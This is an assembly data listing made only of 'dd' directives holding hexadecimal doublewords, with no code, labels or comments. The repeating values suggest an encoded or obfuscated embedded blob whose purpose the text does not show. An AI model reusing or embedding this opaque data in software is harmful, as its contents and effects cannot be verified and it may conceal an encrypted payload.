		dd 45713032h, 11779A61h, 90EF1132h, 13CE8F87h, 8BFDD9BFh
		dd 0C6992498h, 45064969h, 4BA43F3Dh, 7403B3B2h,	156624DBh
		dd 19445032h, 9479171Ah, 156640DEh, 3162AB32h, 594225B3h
		dd 4D703202h, 0AF560807h, 1563CB24h, 0C67F1132h, 755270F0h
		dd 0AC002080h, 960752F7h, 0BAE6D98Fh, 91698834h, 15664457h
		dd 82BFA252h, 46E39C53h, 0E0602765h, 1576C13Dh,	1E8F2232h
		dd 0A0661132h, 91734A2Ch, 8AF670D8h, 0C599B605h, 156617DBh
		dd 0EFE84132h, 989DE072h, 0BA31A1B7h, 0FEF1E34h, 1A668832h
		dd 156650B9h, 1569CB32h, 0EA101132h, 0FA808ED4h, 116255BEh
		dd 0BB7589FBh, 1AB6EE1Ah, 156680BDh, 17E44B32h,	75662232h
		dd 0C0E3D753h, 43602027h, 0FC3524CEh, 15662239h, 0E9827BCFh
		dd 9A3D561Bh, 4A2DF63Ch, 156628DAh, 0D49CD832h,	408FE314h
		dd 1AE8B7B0h, 156622BAh, 7D074A32h, 89CE3060h, 1573CC3Dh
		dd 58F2232h, 18661132h,	51422452h, 1B8CE232h, 0A8FF3295h
		dd 0E9CF0D98h, 1AF33DCDh, 1C8F429Ah, 43662232h,	9EB80867h
		dd 8A0EB34Fh, 7C17C1BFh, 75062499h, 1566973Dh, 48F8832h
		dd 0D7664432h, 8DE2F169h, 0B5D2C001h, 515D4146h, 0DDB239Bh
		dd 0EA07DB53h, 90EFE4E2h, 13CEA88Fh, 154BCA3Dh,	0FC062232h
		dd 15661126h, 0F9B380FCh, 0B974C700h, 32B1C40Ch, 37F3C090h
		dd 847DF72Ah, 156649DBh, 548C9932h, 4F327157h, 8FD60C19h
		dd 0D207ED05h, 0BD7023B7h, 15661134h, 15696132h, 0D8744432h
		dd 6018A7E9h, 0EA6EB99Fh, 240EC56Ah, 0C0E382EFh, 50608A27h
		dd 0DFE74052h, 53BD6DBh, 1560AD69h, 0BAF2232h, 0A75E423Ch
		dd 15726153h, 21074432h, 0C669AFD3h, 775D6ECAh,	0F7C2F147h
		dd 48F19F75h, 7C0EA011h, 75E8635Bh, 94001C84h, 74855EE1h
		dd 9431DB52h, 58723BF9h, 0EA07D021h, 0BD57BD87h, 9D694234h
		dd 15661136h, 0BED03154h, 156657DAh, 67EE5E32h,	0C60C735Ch
		dd 0C3510917h, 0DCEEDD67h, 0D75366C5h, 90EB7069h, 13CEB2F1h
		dd 0C2E72252h, 1B8F7A71h, 0B6661132h, 1D93B06Eh, 20DC0910h
		dd 5F4390EAh, 0C599703Bh, 156682DBh, 0B70C0F32h, 0DE7B3C84h
		dd 9C52DF21h, 0BD6699B7h, 68E2434h, 0CE662232h,	8DAB409Eh
		dd 328E8230h, 0B91A969Fh, 57AC5C32h, 91695609h,	15668832h
		dd 17ED4B6Ch, 75662232h, 90A07053h, 13CE9DE7h, 0FC9A2471h
		dd 15662237h, 0B98D6C09h, 4B0EE9B3h, 75FA2359h,	7493DA52h
		dd 156605DAh, 1046032h,	5FFEC157h, 1283E53Ch, 2831EBBDh
		dd 70ECD044h, 156FADC9h, 6DCA2232h, 0FC8A0B8Eh,	4A9472A2h
		dd 0ECD3BB53h, 1A608A03h, 156630B1h, 68EE832h, 82664432h
		dd 26B83314h, 0FFDEB8EDh, 6DE47012h, 3C7A6E30h,	1A3F8A8Ch
		dd 156611B9h, 0FD06E932h, 15664438h, 46CB0C4Dh,	6FA23D73h
		dd 753E44FDh, 74067B84h, 90EB4353h, 13CE2BF1h, 15670B3Dh
		dd 0EA934432h, 9C6942E2h, 15661130h, 749AD162h,	95D6C1BBh
		dd 9B69249Dh, 1566113Fh, 156680DBh, 79121132h, 1B41D1C3h
		dd 0C0E3D7A8h, 41602027h, 7D4F2CCBh, 7306CC50h,	0EDEDE1B9h
		dd 0ECD37753h, 1A60EC03h, 156634B4h, 1577F832h,	0E8A58832h
		dd 63CA2E47h, 853CB13Bh, 60802D77h, 987D7B17h, 0BD5C87B7h
		dd 0C599DE34h, 1577F852h, 29C68832h, 494BEF81h,	0F2300430h
		dd 0C72A0283h, 1A043B57h, 156644B0h, 90EF4332h,	13C99186h
		dd 156685DBh, 826D1332h, 231C57BFh, 6E3FD025h, 90A0CAEEh
		dd 13CE51E7h, 1DE62D77h, 75661132h, 0CFE7EECBh,	7D070BB0h
		dd 0CF061AF0h, 15679A3Dh, 0EA9E8832h, 0BD57BD87h, 156FCB34h
		dd 8AAA1132h, 0A50218A1h, 98E87E88h, 0BD5CE1B7h, 0FCE77134h
		dd 2E64ED3Ah, 1569CD3Dh, 1C8E2232h, 8D661132h, 0DE8CED21h
		dd 0B9EF8C4h, 0C5994368h, 0ADE398CBh, 0E06027B2h, 26FBF9B1h
		dd 1A66249Ah, 156706B7h, 156A6132h, 0D17A4432h,	0DE3CD6D8h
		dd 0A91676B4h, 90A03DE0h, 13CE51E7h, 156FCB77h,	2FD61132h
		dd 24889DFEh, 7D28B659h, 0EF465CB4h, 0ECD3EECEh, 1A602003h
		dd 156643BCh, 14E72D32h, 0EC661132h, 2FA50DBFh,	48F429Ah
		dd 1F662232h, 344FD8F0h, 5F071507h, 9C9411Fh, 7A09D44Eh
		dd 7306C1CDh, 0AAF5C28Ah, 2C43B9F3h, 90EFD753h,	13C9918Eh
		dd 0C0E34ECEh, 5960EC27h, 0C2ED4452h, 1A07C8B9h, 156680B8h
		dd 17E84B32h, 75662232h, 0C5A57953h, 0EA9E6814h, 0BD57BD87h
		dd 19EA2D34h, 75661132h, 0C82A3054h, 1566C13Dh,	0FC072232h
		dd 15661139h, 49A5F511h, 0DEDBC46Ah, 98F4C3C1h,	0BD5CD2B7h
		dd 15746134h, 64324432h, 0A7C0FA4Bh, 41BA84A1h,	4D76C814h
		dd 90FF666h, 1B8FF2CDh,	59661132h, 0EB8E2342h, 0B5407082h
		dd 7DECDF04h, 0D5E398E6h, 756027B2h, 86F395B3h,	0DEE73C80h
		dd 42F7F10Eh, 15806153h, 98694432h, 1566223Eh, 1560983Dh
		dd 9B698832h, 15664432h, 0B3A7F4h, 0E034179Ah, 5F82855Ah
		dd 9E06248Eh, 0DCE744C9h, 1A07B32Fh, 15668BBAh,	0ECED2232h
		dd 7CD3DD53h, 0FC60B91Dh, 15668822h, 0C8DB8E69h, 5B9E2EE0h
		dd 0FFBD0DAEh, 3D249153h, 2FA5C1BFh, 9469249Ah,	15661121h
		dd 15606152h, 0E2E44432h, 65C3DCE5h, 52FDFEB3h,	0EA078D1Ah
		dd 9C6924E2h, 15662234h, 15669D3Dh, 9E008832h, 90EF25ECh
		dd 13C9A28Eh, 1567903Dh, 0D3938832h, 0BD7391B7h, 7D937034h
		dd 0B32A5B7Ah, 84E13252h, 94067A7Fh, 9BD5E5F0h,	0DDE77775h
		dd 74075D95h, 3A0FF1CDh, 9F69249Ah, 15661133h, 0D6E305CEh
		dd 7560EC08h, 9400E1B9h, 74015ED0h, 9C9A58CDh, 0BAE684B7h
		dd 1568CB34h, 0DE021132h, 0AD7668AAh, 0ADCB4109h, 17B6F21Ch
		dd 0B394F4h, 1A348E9Ah,	15664CB6h, 17E92D32h, 75661132h
		dd 0A18CE053h, 0EA9EB970h, 0BD57DB87h, 90EBE434h, 13CEB2F1h
		dd 0FCB6BBC7h, 1566223Dh, 8B4112EEh, 0A55BC960h, 0D0DB464Fh
		dd 9C491B7Bh, 0BD5280B7h, 9269E834h, 15664434h,	1566A93Dh
		dd 0A2691132h, 90A0E9FDh, 13CE51E7h, 14E92D45h,	0EC661132h
		dd 82CE2B5Ah, 0A099BCC1h, 13CE2F1Fh, 0CDE74352h, 704F9166h
		dd 90EB256Ch, 13CE18F1h, 0E9B6EECAh, 26DF0DBBh,	9769429Ah
		dd 15662235h, 15679E3Dh, 0D39F8832h, 0BD7391B7h, 0A3067034h
		dd 18E71ACh, 0D668832h,	0A438B910h, 0F8B3C916h,	0DF100ED2h
		dd 0AD9C1EF8h, 4AB51C17h, 156633DBh, 0F3C83832h, 6F2FECB5h
		dd 105E48A0h, 0D59ECFEh, 74071CC0h, 0C8579F5Ah,	78FBDB8h
		dd 0C6662232h, 5654BD54h, 0D8404388h, 8C5BC15h,	80B1968Ch
		dd 0ECD3EEBAh, 0FC602003h, 15664421h, 9377DC99h, 75683CEFh
		dd 0BA50CA95h, 0DF5D23B5h, 9835FD2Fh, 0BD5CD2B7h, 0C5997D34h
		dd 156654DBh, 41EB4632h, 820CDFA3h, 73EB06E0h, 0BABF2F04h
		dd 14E3AB52h, 0E960B900h, 0B30DF4h, 0FC30429Ah,	15662239h
		dd 158E5CEAh, 3808768h,	7DB85B0Ah, 0C1794F0Bh, 9669E952h
		dd 15668837h, 82B6C554h, 0A09943DDh, 13CE1EA7h,	156682DBh
		dd 947E4032h, 0DFE9759Eh, 983E7B0Bh, 0BE0FF9B7h, 1BE54B34h
		dd 0FC662232h, 1566113Bh, 4DDBD9Dh, 7FDC8ABh, 1572CB46h
		dd 826A1132h
		dd 0BED8A2A6h, 0FE13C0BCh, 0AB247DD6h, 98120541h, 0C59901D6h
		dd 156EC43Dh, 96692232h, 15661130h, 90EFE952h, 13CE6C9Fh
		dd 1567A13Dh, 0D3931132h, 0BD735DB7h, 0AE060334h, 26CCF9A5h
		dd 51C7953h, 1D8F09EEh,	35664432h, 0B7FF6DB9h, 0EAF513B1h
		dd 0BD577187h, 0DAE72434h, 7D8B9D53h, 156601DAh, 0DFDCE832h
		dd 531D7FD4h, 5511CEBAh, 0B29BC449h, 0C6E7EEEBh, 743860DDh
		dd 1563CB52h, 0F0441132h, 94E707C6h, 0A6CE24DAh, 90EB4373h
		dd 13CE2BF1h, 156B0F3Dh, 1D8F4432h, 0B4662232h,	962C060Bh
		dd 75599B18h, 1561ACCEh, 4FC72232h, 0FE14CE44h,	0A99936B9h
		dd 743E6BEFh, 0FC06F2CDh, 15661121h, 8B61B61Dh,	55E2FF80h
		dd 0B3C1967Ch, 0AC15C865h, 736B18E0h, 9C078AB9h, 0BD71F3B7h
		dd 23D47134h, 0D39AE9CAh, 0BD7391B7h, 95066534h, 0A2691CC2h
		dd 0F70EE9EBh, 1AEC4B87h, 156623B1h, 0A099E932h, 13CEB9CBh
		dd 0D6E3C9CBh, 1A608A08h, 156610B5h, 0C5997132h, 156ECD3Dh
		dd 0ED062232h, 0EFB09054h, 90EFE9D7h, 13C9C4D2h, 1561A43Dh
		dd 0A1061132h, 37A708C8h, 1577AD53h, 0A88D2232h, 359DD6C6h
		dd 0B27F2451h, 90E1B9C7h, 0D2F06D50h, 0BD6AD0B7h, 1566F034h
		dd 0FD06BD32h, 15662221h, 0EC15E4Bh, 30365A4Bh,	0C3AEFB92h
		dd 7F850AE2h, 4D02EBD8h, 0B0AC0954h, 0A8E5255Ah, 13CE39CFh
		dd 0BDE21E32h, 7566882Ah, 9E696E86h, 15662231h,	74A89A54h
		dd 0B30DF4h, 0FC2A429Ah, 15662226h, 4F9642B4h, 46ECFEEDh
		dd 25A49F06h, 72539154h, 0A6C166CBh, 0CF7A615Ah, 0AA0024EBh
		dd 0EA07CC96h, 0BD57E887h, 18E98734h, 75664432h, 0CBE6A89h
		dd 15E51E00h, 74668832h, 0AB60FB52h, 0ADDF66FDh, 7437315Bh
		dd 2FA50DBFh, 0EA9F429Ah, 0A26942E2h, 1577F8CBh, 85298832h
		dd 0E3F98D52h, 0A6FAD12Ah, 0D5E4E1B9h, 7452979Ch, 95AAC1BBh
		dd 9969249Dh, 1566112Eh, 1570053Dh, 48F4432h, 6B662232h
		dd 0A70893ECh, 0F57B8D59h, 9FFC59Dh, 2B53BA14h,	0B394F4h
		dd 1A2A8E9Ah, 156645B4h, 0DB0ED732h, 1ABB65ECh,	156689B1h
		dd 0A099BD32h, 13CE13CBh, 156A933Dh, 9B698832h,	15664434h
		dd 1566AA3Dh, 0FC061132h, 1566883Bh, 10AF72D6h,	0B4E346F1h
		dd 740642B9h, 90EBE968h, 13CE7EF1h, 1567A53Dh, 0EA9E1132h
		dd 14EE87E2h, 0E0664432h, 95B6A7BBh, 0D39A179Dh, 0BD735DB7h
		dd 7D930834h, 0A2E7A00Dh, 0ECD3EECBh, 0FC602003h, 1566443Ch
		dd 2B5C680Eh, 97CA8756h, 0EAE3CA16h, 90EB470Dh,	13CE18F1h
		dd 61DD7752h, 0D4E7EE1Eh, 0EA07D60Bh, 12EB2DE2h, 75661132h
		dd 46BC0354h, 1E8F256Dh, 8E662232h, 6D4CD71Eh, 8D48B828h
		dd 90EFC99Fh, 13C9A2E6h, 0FADE7752h, 90A0E952h,	13CE51E7h
		dd 156DCB7Eh, 0DBF11132h, 2BA2B8E2h, 209EBDFCh,	557E4AACh
		dd 128FA21Dh, 0A668832h, 0D105FC1Ah, 0A099C671h, 13CE20CBh
		dd 156687DBh, 8AF9EC32h, 0E321353Eh, 0C1D119E2h, 92AF705Fh
		dd 2FA5C1BFh, 0FC06249Ah, 15661126h, 0C6B7D031h, 74F1CBE8h
		dd 0AF86400Eh, 0F6DB3978h, 2DCEB5DBh, 15664ADBh, 8C7F3432h
		dd 0E48B5D36h, 694D5AD0h, 74761445h, 1B8FF2CDh,	0F7661132h
		dd 0A3E190E8h, 0F5158EDBh, 0A0318097h, 0C1E398F7h, 0FC6027B2h
		dd 15664435h, 18520FE1h, 0D360BC41h, 0BD735DB7h, 7D9F0234h
		dd 0AFB82426h, 156A903Dh, 97698832h, 15664434h,	1566A23Dh
		dd 1A061132h, 156689BDh, 86D4B832h, 0ECD3DD53h,	0FC60B903h
		dd 15668834h, 1578C7ECh, 90EB43C2h, 13CE2BF1h, 1560063Dh
		dd 0A3064432h, 743D7210h, 78FC1CDh, 66668832h, 1E7EDADFh
		dd 51947BA4h, 0A2885274h, 5A245E58h, 0C9E3CDC4h, 0FC608DB2h
		dd 1566113Ch, 5F2E042Ah, 6E44F2ECh, 9B8AD33Dh, 90A08DB5h
		dd 13CE9DE7h, 6F0EB875h, 75E7FE22h, 75A89A54h, 0AE0043B9h
		dd 7407CB8Fh, 249F97CDh, 18F179Ah, 94668832h, 3A99B1EBh
		dd 9C31F48Bh, 3C5D0DCEh, 4921D561h, 984BEB0Eh, 0BD5CE1B7h
		dd 0C599ED34h, 156680DBh, 49F4EE32h, 0E7DEC3ABh, 0F1E398DFh
		dd 1A6027B2h, 156640B9h, 74064232h, 0C0E3D753h,	52602027h
		dd 156EC13Dh, 99692232h, 15661130h, 0B90EE952h,	0EC89C3BCh
		dd 249F97CDh, 78F179Ah,	50668832h, 7FBA6745h, 9CFEA8BFh
		dd 853EDDBDh, 0D7A01CC1h, 0D6E3C91Fh, 75608A08h, 1A21CAB2h
		dd 15668ABBh, 743D1332h, 9C9FF2CDh, 0BAE6F9B7h,	9169E834h
		dd 15664433h, 0DFD92DCAh, 0C0E3D753h, 52602027h, 1561CD3Dh
		dd 9D692232h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h, 0BD57DB87h
		dd 14EF1E34h, 0E9668832h, 2FA5C1BFh, 9C69249Ah,	15661135h
		dd 73BF0352h, 0EA07B3B9h, 0E2E742E2h, 6EFE820Eh, 15660D3Dh
		dd 9C074432h, 0BAE6CEB7h, 90A0E934h, 13CE9DE7h,	110EB175h
		dd 0E0DCE30Bh, 249FA4CDh, 989A8E9Ah, 0BD5C87B7h, 0C599DA34h
		dd 15661DDBh, 0BEF83632h, 16EA651Ch, 0BA7F4625h, 90EFE412h
		dd 13C908C2h, 156CC43Dh, 73062232h, 9400DEB9h, 74B626ECh
		dd 153FF9B1h, 1A66249Ah, 156680B7h, 14E48732h, 0E9664432h
		dd 0B3A7F4h, 0EC21179Ah, 674BEF5Ah, 1F8FBCD2h, 0AE662232h
		dd 21B484F3h, 7975592Ah, 0ECD3BBB4h, 75608A03h,	156601DBh
		dd 0A6495132h, 0F4007A1Eh, 941096BDh, 7288E250h, 1A06E99Ah
		dd 156646B4h, 0FC3C7032h, 15661126h, 3C77A36Fh,	2F0CD76Bh
		dd 1C06F26Ch, 833E3367h, 0FECBFE4Ah, 0D6E3C953h, 0FC608A08h
		dd 15661137h, 0EDA57169h, 75B6BBFDh, 0E7ED1084h, 0E1E39853h
		dd 0FC6027B2h, 15664438h, 1C4797A9h, 9200AD36h,	90A0B3D6h
		dd 13CE51E7h, 1BE02D75h, 0FC661132h, 1566883Bh,	38CF9EAFh
		dd 6041A210h, 0A6D7799Eh, 9069061Bh, 15664435h,	0F5E74452h
		dd 0EA0746A1h, 0BD577187h, 90EBB834h, 13CE18F1h, 0CEC1E52h
		dd 0FC668832h, 15664426h, 4EDA654Fh, 0C98D9C37h, 4E822F60h
		dd 0B4DD615Fh, 221F8453h, 2E09D6B3h, 0EA07A32Ah, 90EFB1E2h
		dd 13C9A2CAh, 0D5D91E52h, 1AE58753h, 0FC664432h, 15662238h
		dd 0F6FCE598h, 0EA320BAEh, 90A09306h, 13CE37E7h, 1560F871h
		dd 92B98832h, 73768AE5h, 632C855Ah, 1568F8F2h, 0A52A8832h
		dd 73DFDB00h, 2F83B288h, 0CD6D5B1Dh, 249F3DCDh,	188F429Ah
		dd 0F6662232h, 7D1CEEE8h, 0C1F6EB96h, 0D0CD0FB6h, 2FA5A7BFh
		dd 9F69179Ah, 1566882Ch, 157EC83Dh, 68F2232h, 2C661132h
		dd 76868994h, 51E7C4DEh, 0BC873BDh, 0F5567DF7h,	0C599184Ah
		dd 1AADCF52h, 156624B8h, 15E01E32h, 74668832h, 1567CD3Dh
		dd 9C932232h, 0BAE6EDB7h, 98697D34h, 1566443Eh,	1560AE3Dh
		dd 9E691132h, 15668832h, 0B3C1F4h, 1A2A249Ah, 156619BAh
		dd 17E68732h, 75664432h, 798D4A53h, 0AB06EA54h,	58C115AAh
		dd 6D08A2B3h, 0EA073CD2h, 0BD6B3C87h, 0ED06E834h, 0BCD92253h
		dd 90EB4343h, 13CE2BF1h, 1567063Dh, 0EA9A4432h,	108FDAE2h
		dd 4E661132h, 0BD91056Bh, 94F6C1BBh, 58F249Dh, 59661132h
		dd 4D69E4D8h, 0DDAB450Fh, 40DFDEE6h, 0D3CC1760h, 0BD735DB7h
		dd 188F0034h, 5A662232h, 8721128Eh, 6FD1F685h, 94A65FC2h
		dd 0D5E74252h, 76F9E8DBh, 74125AB2h, 9B332C53h,	75069941h
		dd 0CAE67052h, 9E00E916h, 0A09925E8h, 13CE13CBh, 157F9E3Dh
		dd 18F8832h, 0F5664432h, 0A2DE6EF3h, 446BC336h,	2CA8F62Eh
		dd 0D2385F84h, 987D9787h, 0BD5CD2B7h, 14E08734h, 0E0664432h
		dd 9069F2CDh, 1566113Fh
		dd 156680DBh, 0AE0D0C32h, 0A7C81F8Dh, 15E39899h, 0ED6027B3h
		dd 0B3C1F4h, 7525249Ah,	14EE1ECBh, 0E0668832h, 7B9A2C53h
		dd 43069EBCh, 19A89054h, 1A07D16Ch, 156645B8h, 0A099DE32h
		dd 13CE20CBh, 156061C7h, 0E4EE4432h, 996A6405h,	2FA594BFh
		dd 9A698E9Ah, 1566442Bh, 156636DBh, 63155132h, 0E22744F4h
		dd 7B02D27Eh, 9018376Eh, 16CC7B11h, 0FCB67727h,	15664435h
		dd 930685ACh, 9CB9E14Ch, 0BAE78CB7h, 1C8FBC34h,	74662232h
		dd 499E8B31h, 3DB7374Dh, 0B3C1F4h, 7535249Ah, 0CBEDB983h
		dd 2BCCE053h, 0EA9A8222h, 0BD57DB87h, 128F7134h, 64668832h
		dd 99D980BDh, 58E62F3h,	0F4661132h, 0CDBA7118h,	77F5D501h
		dd 0A8415AAFh, 94EB6A6Ah, 0F5AC87F8h, 98071D7Ch, 0BD5CE1B7h
		dd 2EC1E34h, 0FC668832h, 15664420h, 0CA4E6E63h,	6FCA7F46h
		dd 7C016DD5h, 9DC877CDh, 0C59974F6h, 1574993Dh,	188F8832h
		dd 2D664432h, 62125413h, 6347298Ah, 2DDEFF46h, 946EC1BBh
		dd 9E69249Dh, 1566113Ah, 0B5AC0952h, 7460795Ch,	126F9FB1h
		dd 1A66179Ah, 156557B6h, 1A062432h, 67D6F885h, 78F7153h
		dd 0E1668832h, 84D791E5h, 3C1CD453h, 0D0D8ADCEh, 2417747Eh
		dd 0EC0725B6h, 0B3A7F4h, 1A20179Ah, 1566A0BBh, 1C8F2432h
		dd 72662232h, 3FA12C5Ch, 74CC08DDh, 156656DAh, 4268F32h
		dd 67BB0CE2h, 0F6159363h, 0EF54E935h, 4CDCFB2Eh, 0DB577953h
		dd 1E8F72A4h, 0B0664432h, 6DA4716Ah, 0F008CEF0h, 0A09974FAh
		dd 13CE75CBh, 11EE2D52h, 73661132h, 1AE8D888h, 156641B4h
		dd 0CBE74432h, 980790DCh, 0BD5C4BB7h, 0D6E72434h, 2A199CAFh
		dd 156600DBh, 0BF4CC032h, 0BE213671h, 0B2FA0513h, 3F552A6Ch
		dd 0EA0764D1h, 90EFB8E2h, 13C9A356h, 157E9B3Dh,	73068832h
		dd 1B8F95B9h, 28662232h, 0F07483AAh, 0A2090696h, 1903E187h
		dd 90A043C7h, 13CE04E7h, 0C30E7174h, 0E99AE308h, 249F97CDh
		dd 9F69179Ah, 15668825h, 1577CC3Dh, 198F2232h, 70661132h
		dd 0AD3DF9F4h, 86C6ADEEh, 98FA9FB1h, 0BD5CD2B7h, 15756134h
		dd 0D59E4432h, 200515B6h, 0EAF716A5h, 0CB3C3199h, 1F23EA34h
		dd 75B6DD83h, 0FBE77764h, 1A3C343Bh, 15665DB6h,	1572CB32h
		dd 0A7EC1132h, 6B1E463Dh, 0DAE027C0h, 6182402Ah, 919EA36Fh
		dd 9C077C1Dh, 0BAE730B7h, 156FCB34h, 7D951132h,	114D5295h
		dd 0D3DE6EB4h, 0BD73F7B7h, 90695734h, 1566883Dh, 15664EDBh
		dd 107AC432h, 0F5D8A0CAh, 7DA14034h, 879AE032h,	9E004252h
		dd 156FF8C0h, 0B6ED8832h, 133753F4h, 74638EDDh,	15661BDBh
		dd 0ECBE7A32h, 38BF8DA0h, 74F9DEE0h, 249FA4CDh,	989E8E9Ah
		dd 0BD5C87B7h, 0EDED4234h, 749F9A54h, 470658CDh, 4DB7CF54h
		dd 6DE3AB53h, 1A60BEB3h, 156689B9h, 90A0BD32h, 13CE37E7h
		dd 0AA697174h, 7D077DF2h, 0E3B20B58h, 1570A73Dh, 90691132h
		dd 15668822h, 15664FDBh, 0C57EE32h, 3999ED80h, 7E2F558h
		dd 249FF1CDh, 9069249Ah, 15661133h, 90EB71C7h, 13CE7EF1h
		dd 156AAE3Dh, 91691132h, 15668834h, 1566C13Dh, 0C5992232h
		dd 156C9D3Dh, 94068832h, 242FE9D8h, 74109364h, 1573953Dh
		dd 93698832h, 1566443Dh, 156628DBh, 15A49A32h, 0F5808986h
		dd 9CF711ACh, 0BAE75EB7h, 90A0ED34h, 13CE9DE7h,	1572AD74h
		dd 32522232h, 0D013974Bh, 2D3BC2C3h, 0F6902CBEh, 31E742EAh
		dd 0F20EBEC9h, 1AF24562h, 156651B8h, 1576CB32h,	0A2381132h
		dd 0C52DD3E8h, 0D5CED1C5h, 24C8D866h, 0A099C419h, 13CEB9CBh
		dd 15664CDBh, 0EFF2C532h, 75D9D9DCh, 0D6E3055Ch, 0E960EC08h
		dd 9406F2CDh, 0FCE5C1EAh, 0DCD18723h, 7DE3CD53h, 1A608DB3h
		dd 156616B6h, 14E28732h, 0ED664432h, 0B3A7F4h, 7520179Ah
		dd 91783254h, 31ACC554h, 2E0E4302h, 0E0D73346h,	1577063Dh
		dd 198F4432h, 80662232h, 721D6BAAh, 0E40D669Dh,	0EA3EFB02h
		dd 0BD57DB87h, 90EBE834h, 13CEB2F1h, 58E1452h, 9A662232h
		dd 2D7A1ADCh, 0DEE95607h, 8247FF97h, 4E169161h,	96A5AB6Ah
		dd 0EA07DA44h, 1577ADE2h, 0D88D2232h, 6F60B3A8h, 0CCAEB0EBh
		dd 0B510F16Ch, 9C85A894h, 0BAE77DB7h, 90A07D34h, 13CE51E7h
		dd 156ECB74h, 0BAA91132h, 0DFEFA534h, 0F80E9B21h, 0FCB95BD8h
		dd 15661137h, 0C4398158h, 0ECD3BB7Ah, 0EC608A03h, 0D6E39CCBh
		dd 1A602008h, 156656BDh, 138F4232h, 7661132h, 810CC560h
		dd 0DFE722CDh, 0EA07285Dh, 7E11EE2h, 0FC668832h, 1566443Fh
		dd 3BC511D0h, 0B34A6A3Bh, 560F8BACh, 65E3CD09h,	75608DB3h
		dd 15661DDAh, 17982232h, 179183B2h, 1955E74Dh, 156BF8F9h
		dd 0A3E18832h, 0F5158EDBh, 0A0318097h, 4ED620F7h, 74B446B2h
		dd 153FF9B1h, 1A66249Ah, 156694B7h, 156C6132h, 0D9AE4432h
		dd 472EA6B1h, 0BDCDA1E9h, 0B30DF4h, 0EC35429Ah,	0AB867C5Ah
		dd 943171FCh, 0D4FE4BE5h, 58E1D49h, 0C5662232h,	7A7A6135h
		dd 9EEEF307h, 0A36E5D45h, 73754396h, 743CEFB9h,	0ECD377C7h
		dd 1A60EC03h, 15663FB7h, 2E21E32h, 0FC668832h, 15664420h
		dd 0E6A41F2h, 0AAB0809Eh, 12B633DCh, 20095842h,	90EBAA49h
		dd 13CE2BF1h, 8C820852h, 35EBA2B3h, 0EA075ACCh,	90EFE4E2h
		dd 13C9093Eh, 90A02552h, 13CE37E7h, 7D9FE475h, 0D2D7D6B5h
		dd 16E94B52h, 73662232h, 68FC1B9h, 0FF668832h, 91E09284h
		dd 0E6F1E39Fh, 769BE8BFh, 23D96649h, 0EA07CC30h, 0BD57DB87h
		dd 2E11E34h, 75668832h,	15664ADBh, 50BC6332h, 997D3D8Ch
		dd 6777FAAFh, 9E32A5EFh, 90EB43C5h, 13CE2BF1h, 156682DBh
		dd 33850032h, 27908B67h, 1A6114A7h, 156687BEh, 156CAD32h
		dd 0EBF32232h, 0CC44CDE9h, 9322A62h, 936994CDh,	1566221Fh
		dd 156BF952h, 0F93F8832h, 4470E504h, 8358FEC5h,	4EF6B7E4h
		dd 15669BDBh, 0F17D4032h, 2F1B7A7Dh, 28464425h,	1EB7A8ABh
		dd 0FED08D0Bh, 90EFD753h, 13C99022h, 0D7F13052h, 9D690BF4h
		dd 15662231h, 74A49A54h, 153F35B1h, 1A66429Ah, 156654B7h
		dd 1561F832h, 0D798832h, 0B692BDE0h, 0C0E3E48Bh, 5260B927h
		dd 0ECECE8CAh, 100E25CEh, 7580404Ch, 83BF9054h,	0EFD18793h
		dd 0ECD3BB53h, 0FC608A03h, 15661138h, 0CE62A696h, 493ECC00h
		dd 9893686Dh, 0BD5CD2B7h, 0CFE7E834h, 0D1E3583h, 75B6DD53h
		dd 1565973Dh, 0E2E68832h, 39AFC4C3h, 1E3AB53h, 7560BEB3h
		dd 156C0E3Dh, 108F4432h, 17662232h, 0ECB70F90h,	0D3077B80h
		dd 0BD7391B7h, 7D936134h, 871C18C4h, 0A269E8CEh, 0A09925EDh
		dd 13CE13CBh, 0D6E39CCBh, 0ED602008h, 9E6994CDh, 1566223Ah
		dd 15649A3Dh, 74068832h, 947EC1BBh, 9969249Dh, 15661120h
		dd 156685DBh, 2A2A0A32h, 46A7F384h, 627CD887h, 1E8F223Ch
		dd 26664432h, 0CDB41345h, 7644DFEBh, 90A0C604h,	13CE51E7h
		dd 1DE22D71h, 75661132h, 0D3593054h, 7D071A62h,	0E947B512h
		dd 156605DBh, 27BFAC32h, 2A769BCh, 782C8390h, 0E884DB2Ch
		dd 0DBD7A0ACh, 0ECD3BBF8h, 0E0608A03h, 2FA594BFh, 94068E9Ah
		dd 0D60A07F2h, 5BBCA324h, 7404B2BCh, 9C9358CDh,	0BAE758B7h
		dd 0A8E5DE34h, 13CE116Bh, 17E38732h, 1A664433h,	15663ABEh
		dd 1575F832h, 551B8832h, 5D2268F3h, 301900A0h, 5CA1B347h
		dd 1F3C4519h, 0C0E38262h, 56608A27h, 156602DBh,	672F4432h
		dd 31F74E17h, 47AEA979h, 0A984D269h, 1D728F96h,	15CE475Ah
		dd 916942B9h, 15661120h
		dd 156685DBh, 0E3A18D32h, 0F530FB62h, 2A1715Ch,	749EFD6Ah
		dd 249FF1CDh, 0E906249Ah, 15661ADBh, 0A7F9ED32h, 0AC89DD00h
		dd 7B2DBB24h, 0D6E39C53h, 1A602008h, 156645B6h,	0C599D732h
		dd 31E398CBh, 0E96027B3h, 0B3C1F4h, 0ED25249Ah,	4E50C45Ah
		dd 157661D7h, 94604432h, 815743A0h, 4B00B4EEh, 0E44E5616h
		dd 0A0994CE5h, 13CE13CBh, 0D6E39CC7h, 75602008h, 4A9ECF64h
		dd 7507C283h, 1A7CD6B2h, 15668EB7h, 15E44B32h, 74662232h
		dd 9406C1CDh, 6E1BD8D2h, 90EF2504h, 13C9A312h, 0FC51A352h
		dd 15668826h, 0E1123928h, 8E624C4Eh, 64D16A18h,	0AFDE51C8h
		dd 6EDA23C0h, 0C0E3E453h, 5660B927h, 156686DBh,	718DC32h
		dd 1C492DABh, 0A32E5958h, 7DE2F0D6h, 0FFCC76D3h, 15662DDBh
		dd 0F3B62532h, 0CF4FA833h, 0A21BAB2Fh, 7F6C9681h, 249FA4CDh
		dd 18F8E9Ah, 19664432h,	0C5906525h, 78B2A63Ah, 84E141CAh
		dd 929ADE4Dh, 9864DC98h, 0BD5CD2B7h, 1B8F7034h,	0B2664432h
		dd 51C53337h, 0CDDBB6E3h, 8F5F1218h, 75B6BBC4h,	156BA73Dh
		dd 128E1132h, 58668832h, 0F7FCC9C8h, 1A3D4F1Fh,	9C07D185h
		dd 0BAE7A0B7h, 1560AD34h, 4FD2232h, 944F78CBh, 0B30DF4h
